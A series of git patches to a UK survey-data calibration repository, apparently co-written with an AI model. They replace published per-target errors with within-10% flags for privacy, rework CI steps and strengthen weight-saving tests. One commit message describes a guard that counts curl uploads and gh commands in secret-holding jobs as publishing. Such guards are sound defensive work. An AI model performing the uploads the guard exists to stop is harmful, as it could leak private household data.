+Build each pull request's base the same way as its head, with the head's lockfile, and fail when the share of national or local targets within 10% falls by more than 2 percentage points over the targets both builds have (`targets/fit_policy.yaml`). National targets that are within 10% on the base and not on the head are flagged in a pull request comment. The raw calibration logs stay on the runner; only a summary of which targets are within 10% is uploaded, with no estimate or error (`python -m policyengine_uk_data.utils.fit_report summarise` and `compare`).
diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
index fd29cec7..2e35d392 100644
--- a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
+++ b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
@@ -1,4 +1,3 @@
-import numpy as np
 import pandas as pd
 from policyengine_uk_data.utils.calibrate import calibrate_local_areas
 from policyengine_uk_data.datasets.local_areas.constituencies.loss import (
@@ -92,12 +91,6 @@ def get_performance(weights, m_c, y_c, m_n, y_n, excluded_targets):
         }
     )
     national_target_validation["target"] = national_actuals.values
-    # Households with a non-zero value for each national target: how many
-    # records support its estimate (utils/fit_report.py publishes a target's
-    # error only from 10 records up).
-    national_target_validation["records"] = (
-        np.asarray(national_target_matrix) != 0
-    ).sum(axis=0)
 
     national_target_validation["error"] = (
         national_target_validation["estimate"] - national_target_validation["target"]
diff --git a/policyengine_uk_data/targets/fit_policy.yaml b/policyengine_uk_data/targets/fit_policy.yaml
index fc717b79..2fe344d2 100644
--- a/policyengine_uk_data/targets/fit_policy.yaml
+++ b/policyengine_uk_data/targets/fit_policy.yaml
@@ -20,12 +20,17 @@ share_within_10pct:
   allowed_drop: 0.02
 
 national_target:
-  # Flag, for review, each national target whose error |estimate / target -
-  # 1| rises by more than this. The five builds give 0 to 6 such rises per
-  # pair (mean 1.8), so a list stays short. 0.1 gives up to 11 from noise
-  # alone, and 0.3 would hide the largest same-code move on the OBR, ONS
-  # population and DWP targets (0.21). Per-target moves don't fail until
-  # #598 is fixed. Those counts used every national target's error; the fit
-  # summary now publishes an error only for targets supported by at least
-  # 10 households (fit_report.MIN_RECORDS), so fewer can flag.
-  flag_rise: 0.2
+  # Flag, for review, each national target within 10% of its value on the
+  # base build and not on the head. Across the 20 ordered pairs of the five
+  # builds above, 1 to 10 of the 644 national targets leave the band per
+  # pair (mean 4.5), so a list stays short.
+  #
+  # This replaces flagging an error rise of more than 0.2 (adopted under
+  # d1344 on 15 October), which needed each target's error in the uploaded
+  # summary. Sol's re-review of #599 found no safe way to publish them: the
+  # dataset repeats households (output-area clones, SPI and CGT donors), so
+  # a count of rows can't show how many respondents support an estimate, and
+  # one household can dominate a target. The within-10% booleans are bounds,
+  # not values. Same-code pairs gave 0 to 6 flags under the old rule.
+  # Per-target moves don't fail until #598 is fixed.
+  flag: left_band
diff --git a/policyengine_uk_data/tests/test_fit_report.py b/policyengine_uk_data/tests/test_fit_report.py
index 8d427bf4..03cb056a 100644
--- a/policyengine_uk_data/tests/test_fit_report.py
+++ b/policyengine_uk_data/tests/test_fit_report.py
@@ -9,7 +9,6 @@
 from hypothesis import strategies as st
 
 from policyengine_uk_data.utils.fit_report import (
-    MIN_RECORDS,
     FitPolicy,
     compare,
     load_policy,
@@ -17,22 +16,19 @@
     summarise,
 )
 
-POLICY = FitPolicy(share_drop_allowance=0.02, target_flag_threshold=0.2)
+POLICY = FitPolicy(share_drop_allowance=0.02)
 
 
-def _log(national: dict, local=(), epochs=(0, 30), records=100):
+def _log(national: dict, local=(), epochs=(0, 30)):
     """A calibration log: national {metric: (estimate, target)}, local [(est, target)]."""
     rows = []
     for epoch in epochs:
         for metric, (estimate, target) in national.items():
-            rows.append(("UK", 0, metric, estimate, target, epoch, records))
+            rows.append(("UK", 0, metric, estimate, target, epoch))
         for i, (estimate, target) in enumerate(local):
-            rows.append(
-                (f"area {i}", f"E{i}", f"local/{i}", estimate, target, epoch, np.nan)
-            )
+            rows.append((f"area {i}", f"E{i}", f"local/{i}", estimate, target, epoch))
     return pd.DataFrame(
-        rows,
-        columns=["name", "index", "metric", "estimate", "target", "epoch", "records"],
+        rows, columns=["name", "index", "metric", "estimate", "target", "epoch"]
     )
 
 
@@ -46,23 +42,29 @@ def test_summarise_reads_the_last_epoch_and_drops_zero_targets():
     log.loc[log.epoch == 0, "estimate"] = 1  # earlier epochs are ignored
     s = summarise(log)
     assert s["epoch"] == 30
-    assert s["national"]["a"] == {"within": True, "error": pytest.approx(0.05)}
-    assert s["national"]["b"] == {"within": False, "error": pytest.approx(0.5)}
+    assert s["national"] == {"a": True, "b": False}
     assert "zero" not in s["national"]
     assert s["local"] == {"E0|local/0": True, "E1|local/1": False}
 
 
-def test_a_target_with_few_records_has_no_published_error():
-    """Sol review of #599, P1: an estimate from a few records is not published."""
-    s = summarise(_log({"rare": (123.45, 100)}, local=LOCAL, records=MIN_RECORDS - 1))
-    assert s["national"]["rare"] == {"within": False, "error": None}
-    assert "123.45" not in json.dumps(s)
-    # A log without the records column publishes no errors at all.
-    s = summarise(_log({"a": (101, 100)}, local=LOCAL).drop(columns="records"))
-    assert s["national"]["a"]["error"] is None
-    # Local cells give only within 10% or not.
-    s = summarise(_log({"a": (101, 100)}, local=[(123.45, 100)]))
-    assert s["local"] == {"E0|local/0": False}
+@settings(max_examples=100, deadline=None)
+@given(
+    estimates=st.lists(st.floats(0.01, 1e12, allow_nan=False), min_size=1, max_size=20),
+    target=st.floats(1.0, 1e12),
+)
+def test_the_summary_publishes_no_estimate_or_error(estimates, target):
+    """Sol re-reviews of #599: rows don't count respondents and one household
+    can dominate a target, so nothing per target but within 10% is published."""
+    log = _log(
+        {f"t{i}": (e, target) for i, e in enumerate(estimates)},
+        local=[(e, target) for e in estimates],
+    )
+    s = summarise(log)
+    for group in ("national", "local"):
+        assert all(isinstance(v, bool) for v in s[group].values())
+    text = json.dumps(s)
+    for e in estimates:
+        assert repr(e) not in text and repr(abs(e / target - 1)) not in text
 
 
 def test_a_malformed_log_is_refused():
@@ -97,6 +99,18 @@ def test_a_drop_beyond_the_allowance_fails_and_within_it_passes():
     assert compare(base, _summary([0.5] + [0.0] * 99), POLICY)["status"] == "pass"
 
 
+def test_a_target_leaving_the_band_flags_and_one_entering_is_a_note():
+    base = _summary([0.0, 0.5] + [0.0] * 98)
+    head = _summary([0.5, 0.0] + [0.0] * 98)
+    result = compare(base, head, POLICY)
+    assert result["status"] == "pass"
+    assert result["flags"] == [{"target": "t0"}]
+    assert "1 national targets come within 10% on the head." in result["notes"]
+    # A move inside the band, or outside it, is not a flag.
+    assert compare(_summary([0.01]), _summary([0.09]), POLICY)["flags"] == []
+    assert compare(_summary([0.2]), _summary([0.9]), POLICY)["flags"] == []
+
+
 def test_added_targets_do_not_count_against_the_existing_ones():
     """Sol review of #599, P2: 100 unchanged targets plus 3 poor new ones pass."""
     base = _summary([0.0] * 100)
@@ -176,7 +190,6 @@ def test_improving_every_target_never_fails_and_changes_are_antisymmetric(base,
 def test_the_shipped_policy_loads():
     policy = load_policy()
     assert policy.share_drop_allowance == 0.02
-    assert policy.target_flag_threshold == 0.2
 
 
 def test_the_commands_summarise_and_exit_one_on_a_failure(tmp_path):
diff --git a/policyengine_uk_data/utils/fit_report.py b/policyengine_uk_data/utils/fit_report.py
index 379a99dc..e0ea634a 100644
--- a/policyengine_uk_data/utils/fit_report.py
+++ b/policyengine_uk_data/utils/fit_report.py
@@ -4,14 +4,15 @@
 and value every tenth epoch and at the last one, nationally (rows named
 ``UK``) and for each constituency. The log stays on the runner that built
 it. ``summarise`` reduces its last epoch to what the comparison needs, and
-only the summary is uploaded:
-
-- for every national and local target, whether its estimate is within 10%
-  of its value (|estimate / target - 1| <= 0.1), with zero targets left out;
-- for a national target supported by at least ``MIN_RECORDS`` households
-  (the log's ``records`` column), its error. A target supported by fewer has
-  no error in the summary: an estimate built from a few records, divided
-  by a published count, could give one household's value back.
+only the summary is uploaded: for every national and local target, whether
+its estimate is within 10% of its value (|estimate / target - 1| <= 0.1),
+with zero targets left out. No estimate or error leaves the runner. An
+estimate built from a few households, or dominated by one, divided by a
+published count, could give that household's value back, and the dataset
+repeats households (output-area clones, SPI and CGT donors), so a count of
+rows can't show how many respondents support a figure (Sol re-review of
+#599). Whether an estimate is within 10% of a public target is a bound, not
+a value.
 
 ``compare`` checks that a pull request does not worsen the fit of the build
 it would replace, built the same way (same environment, epochs and clones),
@@ -20,9 +21,9 @@
 - **Fail** when the share of national, or of local, targets within 10%
   falls by more than the allowance, over the targets both builds have.
   Added and removed targets are reported, not counted.
-- **Flag** each national target whose error rises by more than the
-  same-code spread, for review. Per-target moves do not fail while builds
-  of the same code differ by up to 0.62 on one target (#598).
+- **Flag**, for review, each national target that is within 10% on the
+  base and not on the head. Per-target moves do not fail while builds of
+  the same code move 1 to 10 national targets out of the band (#598).
 
     python -m policyengine_uk_data.utils.fit_report summarise LOG.csv --out summary.json
     python -m policyengine_uk_data.utils.fit_report compare BASE.json HEAD.json [--markdown out.md]
@@ -42,16 +43,14 @@
 import yaml
 
 POLICY_PATH = Path(__file__).parents[1] / "targets" / "fit_policy.yaml"
-SCHEMA = "policyengine-uk-data-fit-summary/1"
+SCHEMA = "policyengine-uk-data-fit-summary/2"
 WITHIN = 0.10
-MIN_RECORDS = 10
 _COLUMNS = ["name", "index", "metric", "estimate", "target", "epoch"]
 
 
 @dataclass(frozen=True)
 class FitPolicy:
     share_drop_allowance: float
-    target_flag_threshold: float
 
 
 def load_policy(path=None) -> FitPolicy:
@@ -59,9 +58,10 @@ def load_policy(path=None) -> FitPolicy:
         raw = yaml.safe_load(f)
     if raw.get("schema_version") != 1:
         raise ValueError("fit policy: schema_version must be 1")
+    if raw.get("national_target", {}).get("flag") != "left_band":
+        raise ValueError("fit policy: national_target.flag must be left_band")
     return FitPolicy(
         share_drop_allowance=float(raw["share_within_10pct"]["allowed_drop"]),
-        target_flag_threshold=float(raw["national_target"]["flag_rise"]),
     )
 
 
@@ -70,9 +70,7 @@ def summarise(log) -> dict:
     if isinstance(log, pd.DataFrame):
         df = log
     else:
-        header = pd.read_csv(log, nrows=0).columns
-        usecols = _COLUMNS + (["records"] if "records" in header else [])
-        df = pd.read_csv(log, usecols=usecols)
+        df = pd.read_csv(log, usecols=_COLUMNS)
     if df.empty:
         raise ValueError("the calibration log has no rows")
     epochs = sorted(df.epoch.unique())
@@ -90,20 +88,13 @@ def summarise(log) -> dict:
     l_errors = (local.estimate / local.target - 1).abs()
     if not np.isfinite(n_errors).all() or not np.isfinite(l_errors).all():
         raise ValueError("the calibration log has non-finite estimates")
-    records = national["records"] if "records" in national else None
     return {
         "schema": SCHEMA,
         "epoch": last,
         "rows_last_epoch": int(len(rows)),
         "rows_previous_epoch": previous,
         "national": {
-            metric: {
-                "within": bool(error <= WITHIN),
-                "error": float(error)
-                if records is not None and int(records[metric]) >= MIN_RECORDS
-                else None,
-            }
-            for metric, error in n_errors.items()
+            metric: bool(error <= WITHIN) for metric, error in n_errors.items()
         },
         "local": {
             f"{i}|{m}": bool(e <= WITHIN)
@@ -112,10 +103,6 @@ def summarise(log) -> dict:
     }
 
 
-def _within(value) -> bool:
-    return value["within"] if isinstance(value, dict) else bool(value)
-
-
 def _share(flags: list) -> float:
     return float(np.mean(flags)) if flags else float("nan")
 
@@ -163,8 +150,8 @@ def compare(base: dict, head: dict, policy: FitPolicy) -> dict:
         b, h = base[name], head[name]
         common = sorted(set(b) & set(h))
         added, removed = sorted(set(h) - set(b)), sorted(set(b) - set(h))
-        before = _share([_within(b[k]) for k in common])
-        after = _share([_within(h[k]) for k in common])
+        before = _share([bool(b[k]) for k in common])
+        after = _share([bool(h[k]) for k in common])
         summary[name] = {
             "base": before,
             "head": after,
@@ -187,13 +174,13 @@ def compare(base: dict, head: dict, policy: FitPolicy) -> dict:
                 f"{after:.1%}, over the {len(common)} targets both builds have, by "
                 f"more than the {policy.share_drop_allowance:.1%} allowed."
             )
-    flags = []
-    for target in sorted(set(base["national"]) & set(head["national"])):
-        b = base["national"][target]["error"]
-        h = head["national"][target]["error"]
-        if b is not None and h is not None and h - b > policy.target_flag_threshold:
-            flags.append({"target": target, "base": b, "head": h})
-    flags.sort(key=lambda f: f["base"] - f["head"])
+    common = sorted(set(base["national"]) & set(head["national"]))
+    flags = [
+        {"target": t} for t in common if base["national"][t] and not head["national"][t]
+    ]
+    entered = sum(1 for t in common if head["national"][t] and not base["national"][t])
+    if entered:
+        notes.append(f"{entered} national targets come within 10% on the head.")
     return {
         "status": "fail" if failures else "pass",
         "failures": failures,
@@ -224,25 +211,20 @@ def render(result: dict, policy: FitPolicy) -> str:
     flags = result["flags"]
     lines += [
         "",
-        "### National targets whose error rises by more than "
-        f"{policy.target_flag_threshold:.2f} ({len(flags)})",
+        f"### National targets within 10% on the base and not on the head ({len(flags)})",
         "",
     ]
     if flags:
-        lines += ["| Target | Base error | Head error |", "|---|---:|---:|"]
-        lines += [
-            f"| `{f['target']}` | {f['base']:.3f} | {f['head']:.3f} |"
-            for f in flags[:30]
-        ]
+        lines += [f"- `{f['target']}`" for f in flags[:30]]
         if len(flags) > 30:
             lines.append(f"\n{len(flags) - 30} more in the job log.")
     else:
         lines.append("None.")
     lines += [
         "",
-        "Flags are for review; builds of the same code differ this much (#598). "
-        f"Targets supported by fewer than {MIN_RECORDS} households have no published "
-        "error.",
+        "Flags are for review: builds of the same code move 1 to 10 national "
+        "targets out of the band (#598). No target's estimate or error is "
+        "published.",
     ]
     return "\n".join(lines) + "\n"
 
@@ -280,7 +262,7 @@ def main(argv: Optional[list] = None) -> int:
         Path(args.markdown).write_text(text)
     print(text)
     for flag in result["flags"]:
-        print(f"flag: {flag['target']} {flag['base']:.4f} -> {flag['head']:.4f}")
+        print(f"flag: {flag['target']} left the 10% band")
     return 1 if result["status"] == "fail" else 0
 
 

From 512e85e305c1882db86833c568f3b206447647ad Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 15:36:58 -0400
Subject: [PATCH 39/76] Measure the distribution after the tests and report a
 crashed comparison (delta review of #600)

The measurement downloads the ONS projection, so it now runs after the
test suite with if: !cancelled(): an ONS outage no longer skips the tests
and the fit summary. A crashed distribution comparison writes a FAIL line
into the comment, and the final error names both checks.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml | 22 +++++++++++++---------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 897908b7..96e6e99a 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -86,13 +86,6 @@ jobs:
         run: uv run --frozen make data
         env:
           TESTING: "1"
-      - name: Measure the income distribution and single ages
-        run: uv run --frozen python -m policyengine_uk_data.utils.distribution_validation measure policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out distribution_report.json
-      - name: Save the distribution report
-        uses: actions/upload-artifact@v7
-        with:
-          name: distribution_report.json
-          path: distribution_report.json
       # The raw calibration logs stay on the runner: a target supported by a
       # few households, divided by a published count, could give one
       # household's value back. Only the summary the fit comparison needs is
@@ -111,6 +104,17 @@ jobs:
           # Relaxes built-dataset outcome tolerances to match the reduced
           # fidelity of the TESTING build above (see test_cgt_band_donors).
           TESTING: "1"
+      # After the tests, and whatever they did: the measurement downloads the
+      # ONS projection, and an ONS outage must not skip the test suite.
+      - name: Measure the income distribution and single ages
+        if: ${{ !cancelled() }}
+        run: uv run --frozen python -m policyengine_uk_data.utils.distribution_validation measure policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out distribution_report.json
+      - name: Save the distribution report
+        if: ${{ !cancelled() }}
+        uses: actions/upload-artifact@v7
+        with:
+          name: distribution_report.json
+          path: distribution_report.json
   # The no-worsening check (W3). The base is built the same way as the head:
   # TESTING, one clone and the head's lockfile, so both builds run one model
   # and environment and the comparison measures the data change. As in the
@@ -238,7 +242,7 @@ jobs:
               reports/base_distribution_report.json reports/distribution_report.json --markdown distribution.md
             distribution_status=$?
             set -e
-            { echo; cat distribution.md; } >> fit.md
+            { echo; cat distribution.md 2>/dev/null || echo '## Income distribution and single ages: FAIL (the comparison did not finish)'; } >> fit.md
             if [ "$distribution_status" != 0 ]; then echo "status=1" >> "$GITHUB_OUTPUT"; fi
           else
             { echo; echo "The income distribution and single-age reports are missing for one build."; } >> fit.md
@@ -272,5 +276,5 @@ jobs:
       - name: Fail on a fit regression
         if: steps.compare.outputs.status != '0'
         run: |
-          echo "::error::The head build's calibration fit is worse than the base's; see the job summary."
+          echo "::error::The calibration fit or distribution comparison failed; see the job summary."
           exit 1

From 2c956974bdf57b4e20b2f3891bfe3ea4625e7669 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 15:55:41 -0400
Subject: [PATCH 40/76] Say which log columns describe the saved weights

On every logged row, and so on the last one that describes the shipped
weights, training_loss, validation_loss and the two pct_close columns
come from the dropout-perturbed weights before the optimiser step, while
the saved weights, saved_weights_loss and the per-target columns come
after it. Note that saved_weights_loss is the consistent loss to read.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/utils/calibrate.py | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/policyengine_uk_data/utils/calibrate.py b/policyengine_uk_data/utils/calibrate.py
index 82221c29..cf6e0b15 100644
--- a/policyengine_uk_data/utils/calibrate.py
+++ b/policyengine_uk_data/utils/calibrate.py
@@ -423,6 +423,11 @@ def log_performance(
         )
         performance_step["epoch"] = epoch
         performance_step["loss"] = performance_step.rel_abs_error**2
+        # training_loss, validation_loss and the two pct_close columns describe
+        # the dropout-perturbed weights before this epoch's optimiser step.
+        # saved_weights_loss and the per-target columns describe final_weights,
+        # the weights after the step, which are the ones saved. So on the last
+        # row, which describes the shipped weights, read saved_weights_loss.
         performance_step["training_loss"] = training_loss
         performance_step["saved_weights_loss"] = saved_weights_loss
         performance_step["validation_loss"] = validation_loss

From e13f22b87041e68568f8d41ead0a59e616b93fed Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 15:56:59 -0400
Subject: [PATCH 41/76] Test the final-state invariant as a property over
 epochs and loops

The save test now checks, for every epoch count from 1 to 40 in both the
verbose and the non-verbose loop (a Hypothesis property, with the TESTING
build's 32 verbose epochs pinned), that:
- the saved weight file is exactly exp(trained parameters) times the
  country mask;
- the returned household weights are its column sums;
- the log CSV records every tenth epoch and the last, so its last row is
  epoch epochs - 1, and that row's saved_weights_loss equals the training
  loss of the saved weights, recomputed independently in float64.

The toy now uses a two-country mask with zeros, so exp(parameters) no
longer equals the saved weights and a save that dropped the mask fails.
The module docstring describes both save bugs, and the docstrings and
changelog number epochs from 0, as the log and #456 do.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../final-calibration-weights.fixed.md        |   2 +-
 .../tests/test_calibrate_save.py              | 164 ++++++++++++------
 2 files changed, 113 insertions(+), 53 deletions(-)

diff --git a/changelog.d/final-calibration-weights.fixed.md b/changelog.d/final-calibration-weights.fixed.md
index c29fd86c..21210147 100644
--- a/changelog.d/final-calibration-weights.fixed.md
+++ b/changelog.d/final-calibration-weights.fixed.md
@@ -1 +1 @@
-Save and return the calibrated weights from the final optimiser step. Weights were saved only every tenth epoch, so a 512-epoch build shipped the state after step 511 and dropped the last update (#456).
+Save and return the calibrated weights from the final optimiser step. Weights were saved only every tenth epoch, so a 512-epoch build shipped the state after epoch 510 of 0–511 and dropped the last update (#456).
diff --git a/policyengine_uk_data/tests/test_calibrate_save.py b/policyengine_uk_data/tests/test_calibrate_save.py
index 7a480374..b73ee14f 100644
--- a/policyengine_uk_data/tests/test_calibrate_save.py
+++ b/policyengine_uk_data/tests/test_calibrate_save.py
@@ -1,18 +1,24 @@
-"""Regression test for calibrate_local_areas weight saving.
-
-Ensures that the non-verbose branch of `calibrate_local_areas` saves the
-weight file to disk — previously the save block was indented outside the
-for-loop, so on a typical 512-epoch run (511 % 10 = 1) no save ever ran
-and the output .h5 file was never written.
+"""Tests for calibrate_local_areas: weight priors, saving and logging.
+
+Two save bugs are pinned here. The save block once sat outside the training
+loop, so a 512-epoch run (511 % 10 = 1) never wrote the weight file. It then
+saved only when epoch % 10 == 0, so a 512-epoch build shipped the state after
+epoch 510 of 0-511 and dropped the final update (#456). A property test
+checks, in both training loops, that the saved file, the returned weights and
+the last logged row all describe the final optimiser state.
 """
 
 from __future__ import annotations
 
 import importlib.util
+import tempfile
+from pathlib import Path
 
 import numpy as np
 import pandas as pd
 import pytest
+from hypothesis import example, given, settings
+from hypothesis import strategies as st
 
 if (
     importlib.util.find_spec("torch") is None
@@ -24,7 +30,12 @@
     )
 
 
-def _make_toy_inputs(n_households: int = 4, area_count: int = 2, n_targets: int = 2):
+def _make_toy_inputs(
+    n_households: int = 4,
+    area_count: int = 2,
+    n_targets: int = 2,
+    country_mask: np.ndarray | None = None,
+):
     """Build minimal matrix/target/mask arrays for `calibrate_local_areas`.
 
     The calibration routine treats `matrix` as (n_households, n_targets),
@@ -39,8 +50,9 @@ def _make_toy_inputs(n_households: int = 4, area_count: int = 2, n_targets: int
     matrix = pd.DataFrame(np.eye(n_households, n_targets, dtype=float))
     # Per-area local targets — identical rows are fine for a smoke test.
     local_targets = pd.DataFrame(np.tile([100.0, 200.0][:n_targets], (area_count, 1)))
-    # Country mask: every area includes every household (simple case).
-    country_mask = np.ones((area_count, n_households), dtype=float)
+    # Country mask: by default every area includes every household.
+    if country_mask is None:
+        country_mask = np.ones((area_count, n_households), dtype=float)
 
     national_matrix = pd.DataFrame(np.ones((n_households, 1), dtype=float))
     national_targets = pd.Series([1000.0])
@@ -54,6 +66,46 @@ def national_matrix_fn(_dataset):
     return matrix_fn, national_matrix_fn
 
 
+# Two countries of two households each: area 0 holds households 0 and 1, area
+# 1 holds 2 and 3. Its zeros make exp(parameters) differ from the saved
+# weights, so a save that dropped the mask would fail.
+TWO_COUNTRY_MASK = np.array([[1.0, 1.0, 0.0, 0.0], [0.0, 0.0, 1.0, 1.0]])
+
+
+def _national_performance(weights, _m_c, _y_c, m_n, y_n, _excluded_targets):
+    """A one-row `get_performance` for the toy's single national target."""
+    estimates = weights.sum(axis=0) @ m_n
+    error = float(estimates.iloc[0] - y_n.iloc[0])
+    return pd.DataFrame(
+        {
+            "name": ["UK"],
+            "metric": ["national_total"],
+            "estimate": [float(estimates.iloc[0])],
+            "target": [float(y_n.iloc[0])],
+            "error": [error],
+            "abs_error": [abs(error)],
+            "rel_abs_error": [abs(error) / float(y_n.iloc[0])],
+            "validation": [False],
+        }
+    )
+
+
+def _toy_loss(weights, matrix_fn, national_matrix_fn):
+    """The calibrator's training loss without dropout, recomputed in float64."""
+
+    def sre(x, y):
+        return np.minimum(((1 + x) / (1 + y) - 1) ** 2, ((1 + y) / (1 + x) - 1) ** 2)
+
+    weights = weights.astype(np.float64)
+    matrix, local_targets, _ = matrix_fn(None)
+    national_matrix, national_targets = national_matrix_fn(None)
+    local = sre(weights @ matrix.to_numpy(), local_targets.to_numpy())
+    national = sre(
+        weights.sum(axis=0) @ national_matrix.to_numpy(), national_targets.to_numpy()
+    )
+    return local.mean() + national.mean()
+
+
 class _StubDataset:
     """Minimal stand-in for a UKSingleYearDataset.
 
@@ -212,22 +264,6 @@ def test_calibrate_local_areas_logs_loss_targets_and_source_diagnostics(
         household_is_spi_synthetic=[False, True, False, True],
     )
 
-    def get_performance(weights, _m_c, _y_c, m_n, y_n, _excluded_targets):
-        estimates = weights.sum(axis=0) @ m_n
-        error = float(estimates.iloc[0] - y_n.iloc[0])
-        return pd.DataFrame(
-            {
-                "name": ["UK"],
-                "metric": ["national_total"],
-                "estimate": [float(estimates.iloc[0])],
-                "target": [float(y_n.iloc[0])],
-                "error": [error],
-                "abs_error": [abs(error)],
-                "rel_abs_error": [abs(error) / float(y_n.iloc[0])],
-                "validation": [False],
-            }
-        )
-
     weight_file = "toy_diagnostic_weights.h5"
     log_csv = tmp_path / "diagnostics.csv"
     calibrate_local_areas(
@@ -239,7 +275,7 @@ def get_performance(weights, _m_c, _y_c, m_n, y_n, _excluded_targets):
         dataset_key="2025",
         epochs=1,
         log_csv=log_csv,
-        get_performance=get_performance,
+        get_performance=_national_performance,
         verbose=False,
     )
 
@@ -260,15 +296,19 @@ def get_performance(weights, _m_c, _y_c, m_n, y_n, _excluded_targets):
     assert row["household_is_spi_synthetic_household_weight"] > 0
 
 
-def _final_state_run(tmp_path, monkeypatch, epochs, verbose):
-    """Calibrate the toy problem, returning (saved, returned, final optimiser weights)."""
+def _final_state_run(inputs, epochs, verbose):
+    """Calibrate the toy problem in a scratch folder.
+
+    Returns the saved weights, the returned household weights, the final
+    optimiser state (exp of the trained parameters times the country mask)
+    and the performance log.
+    """
     import h5py
     import torch
 
     from policyengine_uk_data.utils import calibrate as calibrate_module
     from policyengine_uk_data.utils.calibrate import calibrate_local_areas
 
-    monkeypatch.setattr(calibrate_module, "STORAGE_FOLDER", tmp_path)
     parameters = []
 
     class SpyAdam(torch.optim.Adam):
@@ -277,33 +317,53 @@ def __init__(self, params, *args, **kwargs):
             parameters.extend(params)
             super().__init__(params, *args, **kwargs)
 
-    monkeypatch.setattr(torch.optim, "Adam", SpyAdam)
-    matrix_fn, national_matrix_fn = _make_toy_inputs(n_households=4, area_count=2)
-    returned = calibrate_local_areas(
-        dataset=_StubDataset(np.array([1.0, 2.0, 3.0, 4.0])),
-        matrix_fn=matrix_fn,
-        national_matrix_fn=national_matrix_fn,
-        area_count=2,
-        weight_file="final.h5",
-        dataset_key="2025",
-        epochs=epochs,
-        verbose=verbose,
-    )
-    with h5py.File(tmp_path / "final.h5", "r") as f:
-        saved = f["2025"][:]
-    # The toy country mask is all ones, so the weights are exp(parameters).
+    matrix_fn, national_matrix_fn = inputs
+    # Hypothesis reruns the test body, so it can't use pytest's
+    # function-scoped tmp_path and monkeypatch fixtures.
+    with (
+        tempfile.TemporaryDirectory() as folder,
+        pytest.MonkeyPatch.context() as monkeypatch,
+    ):
+        folder = Path(folder)
+        monkeypatch.setattr(calibrate_module, "STORAGE_FOLDER", folder)
+        monkeypatch.setattr(torch.optim, "Adam", SpyAdam)
+        returned = calibrate_local_areas(
+            dataset=_StubDataset(np.array([1.0, 2.0, 3.0, 4.0])),
+            matrix_fn=matrix_fn,
+            national_matrix_fn=national_matrix_fn,
+            area_count=2,
+            weight_file="final.h5",
+            dataset_key="2025",
+            epochs=epochs,
+            log_csv=folder / "log.csv",
+            get_performance=_national_performance,
+            verbose=verbose,
+        )
+        with h5py.File(folder / "final.h5", "r") as f:
+            saved = f["2025"][:]
+        log = pd.read_csv(folder / "log.csv")
     (weights,) = parameters
-    final = torch.exp(weights).detach().numpy()
-    return saved, returned.household["household_weight"].to_numpy(), final
+    final = torch.exp(weights).detach().numpy() * TWO_COUNTRY_MASK
+    return saved, returned.household["household_weight"].to_numpy(), final, log
 
 
-@pytest.mark.parametrize("verbose", [False, True])
-@pytest.mark.parametrize("epochs", [1, 2, 10, 11, 12, 20, 21, 25])
-def test_saved_and_returned_weights_are_the_final_optimiser_state(
-    tmp_path, monkeypatch, epochs, verbose
+@settings(max_examples=20, deadline=None)
+@example(epochs=32, verbose=True)  # a TESTING build
+@given(epochs=st.integers(1, 40), verbose=st.booleans())
+def test_saved_returned_and_logged_weights_are_the_final_optimiser_state(
+    epochs, verbose
 ):
     """#456: weights were saved only when epoch % 10 == 0, so a 512-epoch
-    build shipped the state after step 511 and dropped the last update."""
-    saved, returned, final = _final_state_run(tmp_path, monkeypatch, epochs, verbose)
+    build shipped the state after epoch 510 of 0-511 and dropped the last
+    update."""
+    inputs = _make_toy_inputs(country_mask=TWO_COUNTRY_MASK)
+    saved, returned, final, log = _final_state_run(inputs, epochs, verbose)
     np.testing.assert_array_equal(saved, final)
     np.testing.assert_allclose(returned, final.sum(axis=0), rtol=1e-6)
+    # Every tenth epoch and the last are logged, so the last row is the
+    # final epoch, and its saved_weights_loss is the saved weights' loss.
+    assert log["epoch"].iloc[-1] == epochs - 1
+    assert log["epoch"].tolist() == sorted({*range(0, epochs, 10), epochs - 1})
+    assert log["saved_weights_loss"].iloc[-1] == pytest.approx(
+        _toy_loss(saved, *inputs), rel=1e-5
+    )

From 8374b3064de2ab10835364c7627ffd13f35dee53 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 15:57:05 -0400
Subject: [PATCH 42/76] Stop data jobs saving the uv cache, and widen the
 data-job checks (Sol re-review 2 of #603)

- setup-uv's cache is on by default on hosted runners and its location
  can be moved through UV_CACHE_DIR, so the two data jobs now set
  save-cache: false, and the guard requires it.
- A job is a data job when it mentions secrets in any syntax other than
  secrets.GITHUB_TOKEN, or can request an OIDC token.
- The versioning commit, which adds the whole workspace, must not follow a
  command that fetches or builds the data.
- Any gh command, and curl's upload forms, count as publishing.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml           |   4 +
 .github/workflows/push.yaml                   |   4 +
 .../tests/test_workflow_artifacts.py          | 123 +++++++++++++-----
 3 files changed, 99 insertions(+), 32 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 90f3ec5e..a57dd4f1 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -72,6 +72,10 @@ jobs:
           fetch-depth: 0 # Fetch all history for all tags and branches
       - name: Install uv
         uses: astral-sh/setup-uv@v8.1.0
+        # Restore uv's package cache but never save one from a job that
